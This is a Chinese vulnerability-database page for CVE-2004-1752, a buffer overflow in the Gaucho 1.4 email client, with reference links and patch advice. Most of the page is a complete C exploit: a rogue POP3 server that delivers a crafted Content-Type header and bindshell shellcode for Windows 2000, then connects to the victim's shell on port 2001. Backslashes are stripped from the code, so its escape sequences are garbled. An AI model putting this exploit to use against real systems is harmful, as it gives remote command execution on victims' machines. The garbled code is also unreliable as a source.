CVE-2004-1752
CVSS7.5
发布时间 :2004-08-24 00:00:00
修订时间 :2016-10-17 23:00:29
NMCOE    

[原文]Stack-based buffer overflow in Gaucho 1.4 Build 145 allows remote attackers to execute arbitrary code via a POP3 email with a long Content-Type header.


[CNNVD]Gaucho Email客户端远程缓冲区溢出漏洞(CNNVD-200408-219)

        
        Gaucho是一款NakedSoft开发的基于Windows的EMAIL客户端。
        Gaucho在处理包含超长Content-Type字符的EMAIL消息缺少正确的边界缓冲区检查,远程攻击者可以利用这个漏洞发送恶意邮件给目标用户,可能以进程权限在系统上执行任意指令。
        Gaucho在接收来自POP3服务器上的畸形邮件时可导致缓冲区溢出。如果攻击者发送邮件头包含超长字符串的Content-Type的邮件消息,当Gaucho处理时可触发缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1752
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1752
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200408-219
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109364123707953&w=2
(UNKNOWN)  BUGTRAQ  20040826 Gaucho v1.4 Build 145 Buffer Overflow
http://securitytracker.com/id?1011032
(VENDOR_ADVISORY)  SECTRACK  1011032
http://www.security.org.sg/vuln/gaucho140.html
(VENDOR_ADVISORY)  MISC  http://www.security.org.sg/vuln/gaucho140.html
http://www.securityfocus.com/bid/11023
(VENDOR_ADVISORY)  BID  11023
http://xforce.iss.net/xforce/xfdb/17090
(VENDOR_ADVISORY)  XF  gaucho-pop3-bo(17090)

- 漏洞信息

Gaucho Email客户端远程缓冲区溢出漏洞
高危 边界条件错误
2004-08-24 00:00:00 2005-10-20 00:00:00
远程  
        
        Gaucho是一款NakedSoft开发的基于Windows的EMAIL客户端。
        Gaucho在处理包含超长Content-Type字符的EMAIL消息缺少正确的边界缓冲区检查,远程攻击者可以利用这个漏洞发送恶意邮件给目标用户,可能以进程权限在系统上执行任意指令。
        Gaucho在接收来自POP3服务器上的畸形邮件时可导致缓冲区溢出。如果攻击者发送邮件头包含超长字符串的Content-Type的邮件消息,当Gaucho处理时可触发缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Gaucho
        ------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页升级程序Gaucho Version 1.4 Build 151.:
        
        http://homepage1.nifty.com/nakedsoft/Gaucho/Gaucho14.html

- 漏洞信息 (421)

Gaucho 1.4 Mail Client Buffer Overflow Vulnerability (EDBID:421)
windows remote
2004-08-27 Verified
0 Tan Chew Keong
N/A [点击下载]
//************************************************************************** 
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability 
// Bind Shell POC Validation Code for English Win2K SP4 
// 10 Aug 2004 
// 
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows 
// platforms.   Gaucho supports SMTP, POP3 and other email delivery protocols. 
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving 
// malformed emails from a POP3 server.   This vulnerability is triggered if the 
// POP3 server returns a specially crafted email that has an abnormally long 
// string in the Content-Type field of the email header. This string will 
// overwrite EIP via SEH, and can be exploited to execute arbitrary code. 
// 
// This POC code simulates a POP3 server that sends a specially crafted email 
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable 
// Gaucho email client. 
// 
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that 
// is suitable for your system. 
// 
// Advisory 
// http://www.security.org.sg/vuln/gaucho140.html 
// 
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg) 
// 
//************************************************************************** 

#include <winsock2.h> 
#include <windows.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <conio.h> 
#pragma comment(lib,"ws2_32.lib") 

bool tcpInit() 
{ 
WORD wVersionRequested; 
WSADATA wsaData; 
int err; 

wVersionRequested = MAKEWORD( 2, 0 ); 

err = WSAStartup( wVersionRequested, &wsaData ); 
if ( err != 0 ) { 
return false; 
} 
  
if (LOBYTE( wsaData.wVersion ) != 2 || 
        HIBYTE( wsaData.wVersion ) != 0 ) 
{ 
WSACleanup(); 
return false; 
} 

return true; 
} 


SOCKET tcpListen(int port) 
{ 
    SOCKET sock; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock == INVALID_SOCKET) 
return sock; 

sockaddr_in sin; 

sin.sin_addr.s_addr = htonl(INADDR_ANY); 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 

if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Error in bind().n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

if(listen(sock, 5) == SOCKET_ERROR) 
{ 
printf("Error in bind().n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

return sock; 
} 


DWORD resolveIP(char *hostName) 
{ 
hostent *hent; 
char **addresslist; 
DWORD result = 0; 

hent = gethostbyname(hostName); 
if(hent) 
{ 
addresslist = hent->h_addr_list; 

if (*addresslist) 
{ 
result = *((DWORD *)(*addresslist)); 
} 
} 

return result; 
} 


SOCKET tcpConnect(char *host, int port) 
{ 
    SOCKET sock; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock == INVALID_SOCKET) 
return sock; 

sockaddr_in sin; 

DWORD ip = resolveIP(host); 
if(ip == 0) 
ip = inet_addr(host); 

sin.sin_addr.s_addr = ip; 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Connect failed.n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

return sock; 
} 


void shell(int sockfd) 
{ 
char buffer[1024]; 
fd_set rset; 
FD_ZERO(&rset); 

for(;;) 
{ 
if(kbhit() != 0) 
{ 
fgets(buffer, sizeof(buffer) - 2, stdin); 
send(sockfd, buffer, strlen(buffer), 0); 
} 

FD_ZERO(&rset); 
FD_SET(sockfd, &rset); 

timeval tv; 
tv.tv_sec = 0; 
tv.tv_usec = 50; 

if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR) 
{ 
printf("select errorn"); 
break; 
} 
        
if(FD_ISSET(sockfd, &rset)) 
{ 
int n; 

ZeroMemory(buffer, sizeof(buffer)); 
if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0) 
{ 
printf("EOFn"); 
exit(0); 
} 
else 
{ 
fwrite(buffer, 1, n, stdout); 
} 
} 
} 
} 


#define OK_MSG"+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.rn" 
#define STAT_REPLY"+OK 1 1rn" 


char UIDL_REPLY[] = 
"1 0123456789012345678901234567890123456789rn.rn"; 


unsigned char bindShellEmail[] = 
"Date: Mon, 09 Aug 2004 19:44:13 +0800rn" 
"Subject: Testingrn" 
"To: a@aaaaaa.xxxrn" 
"From: XX <xx@xxxxxxxx.xxx.xx>rn" 
"Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>rn" 
"MIME-Version: 1.0rn" 
"Content-Type: " 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"x37x55x62x76"// overwrites EIP via SEH, address of JMP EDI in MPR.dll 
// this address must be carefully chosen due to the filtering that is done 
// on the header messages. 

"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"xEBx60"// FIRST jmp lands us here, do a SECOND jmp to land onto shellcode 
"HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
";" 
"x90x90xEBx61"// JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp 
"set=US-ASCIIrn" 
"rn" 
"x90x90"// shellcode sent in email body to avoid filtering (bindshell on 2001) 
"xEBx62x55x8BxECx51x56x57x8Bx5Dx08x8Bx73x3Cx8Bx74" 
"x33x78x03xF3x8Bx7Ex20x03xFBx8Bx4Ex18x56x33xD2x8B" 
"x37x03x75x08x33xDBx33xC0xACx85xC0x74x09xC1xCBx0C" 
"xD1xCBx03xD8xEBxF0x3Bx5Dx0Cx74x0Bx83xC7x04x42xE2" 
"xDEx5Ex33xC0xEBx17x5Ex8Bx7Ex24x03x7Dx08x66x8Bx04" 
"x57x8Bx7Ex1Cx03x7Dx08x8Bx04x87x03x45x08x5Fx5Ex59" 
"x8BxE5x5DxC3x55x8BxECx33xC9xB1xC8x2BxE1x32xC0x8B" 
"xFCxF3xAAxB1x30x64x8Bx01x8Bx40x0Cx8Bx70x1CxADx8B" 
"x58x08x89x5DxFCx68x8Ex4Ex0ExECxFFx75xFCxE8x70xFF" 
"xFFxFFx83xC4x08xBBxAAxAAx6Cx6CxC1xEBx10x53x68x33" 
"x32x2Ex64x68x77x73x32x5Fx54xFFxD0x89x45xF8xEBx35" 
"x5Ex8Dx7DxF4x33xC9xB1x09xFFx36xFFx75xFCxE8x40xFF" 
"xFFxFFx83xC4x08x85xC0x75x0Ex90xFFx36xFFx75xF8xE8" 
"x2ExFFxFFxFFx83xC4x08x89x07x33xC0xB0x04x03xF0x2B" 
"xF8xE2xD5xEBx29xE8xC6xFFxFFxFFx72xFExB3x16x35x54" 
"x8AxA1xA4xADx2ExE9xA4x1Ax70xC7xD9x09xF5xADxCBxED" 
"xFCx3BxEFxCExE0x60xE7x79xC6x79xADxD9x05xCEx54x6A" 
"x02xFFx55xE0x33xC0x50x50x50x50x6Ax01x6Ax02xFFx55" 
"xE4x89x45xD0x33xC0x50xB8xFDxFFxF8x2Ex83xF0xFFx50" 
"x8BxC4x6Ax10x50xFFx75xD0xFFx55xE8x6Ax05xFFx75xD0" 
"xFFx55xECx85xC0x75x68x8BxCCx6Ax10x8BxDCx33xC0x50" 
"x50x53x51xFFx75xD0xFFx55xF0x8BxD0x5Bx83xF0xFFx74" 
"x4Ex8BxFCx33xC9xB1x64x33xC0xF3xAAxC6x04x24x44x66" 
"xC7x44x24x2Cx01x01x89x54x24x38x89x54x24x3Cx89x54" 
"x24x40x8BxC4x8Dx58x44xB9xFFx63x6Dx64xC1xE9x08x51" 
"x8BxCCx52x53x53x50x33xC0x50x50x50x6Ax01x50x50x51" 
"x50xFFx55xF4x5Bx6AxFFxFFx33xFFx55xD4xFFx55xD8xFF" 
"x75xD0xFFx55xD8x50xFFx55xDC" 
"rn" 
".rn"; 

unsigned char pocEmail[] = 
"Date: Mon, 09 Aug 2004 19:44:13 +0800rn" 
"Subject: Testingrn" 
"To: a@aaaaaa.xxxrn" 
"From: XX <xx@xxxxxxxx.xxx.xx>rn" 
"Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>rn" 
"MIME-Version: 1.0rn" 
"Content-Type: " 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"HHHH"// overwrites EIP via SEH 
"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"; charset=US-ASCIIrn" 
"Content-Transfer-Encoding: 7bitrn" 
"X-Mailer: Gaucho Version 1.4.0 Build 145rn" 
"rn" 
"Testingrn" 
"rn" 
".rn"; 


void genUIDLreply(char *ptr) 
{ 
srand(GetTickCount()); 
for(int i = 2; i < 42; i++) 
{ 
ptr = (rand() % 94) + 0x21; 
} 
} 

void printUsage(char *filename) 
{ 
printf("nUsage: %s <mode>nn", filename); 
printf("   Mode can be:n"); 
printf("   1 - POC Crashn" 
  "   2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)nn"); 
} 

int main(int argc, char* argv[]) 
{ 
printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerabilityn"); 
if(argc != 2) 
{ 
printUsage(argv[0]); 
return 1; 
} 

int mode = atoi(argv[1]); 
if(mode != 1 && mode != 2) 
{ 
printf("nINVALID MODE!n"); 
printUsage(argv[0]); 
return 1; 
} 

if(!tcpInit()) 
{ 
printf("Cannot start Winsock!n"); 
return 1; 
} 
SOCKET s = tcpListen(110); 
if(s == INVALID_SOCKET) 
{ 
printf("Cannot create listening socket!n"); 
return 1; 
} 
printf("Listening on POP3 port 110...n"); 

struct sockaddr_in sin; 
int sin_size = sizeof(sin); 
SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0); 
char buffer[1024]; 
int recvSize; 

if(client != INVALID_SOCKET) 
{ 
// POP3 banner 
send(client, OK_MSG, strlen(OK_MSG), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// OK to USER 
send(client, OK_MSG, strlen(OK_MSG), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// OK to PASS 
send(client, OK_MSG, strlen(OK_MSG), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// REPLY to STAT 
send(client, STAT_REPLY, strlen(STAT_REPLY), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// REPLY to UIDL 
genUIDLreply(UIDL_REPLY); 
send(client, STAT_REPLY, strlen(STAT_REPLY), 0); 
send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// REPLY to LIST 
send(client, STAT_REPLY, strlen(STAT_REPLY), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

if(mode == 1) 
{ 
// send malicious email 
send(client, (char *)pocEmail, strlen((char *)pocEmail), 0); 
printf("POC crash email sent...n"); 

recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 
} 
else 
{ 
// send malicious email 
send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0); 
printf("Bindshell email sent.   Sleeping for 2 seconds...n"); 
Sleep(2000); 

//================================= Connect to the target ============================== 
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); 
if(sock == INVALID_SOCKET) 
{ 
printf("Invalid socket return in socket() call.n"); 
WSACleanup(); 
return -1; 
} 

sin.sin_family = AF_INET; 
sin.sin_port = htons(2001); 

if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Exploit Failed. SOCKET_ERROR return in connect call.n"); 
closesocket(sock); 
WSACleanup(); 
return -1; 
} 

printf("n"); 
shell(sock); 
} 
} 

return 0; 
} 

// milw0rm.com [2004-08-27]
		

- 漏洞信息

9155
Gaucho POP3 Content-Type Header Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Vendor Verified

- 漏洞描述

- 时间线

2004-08-23 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.4 Build 151 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站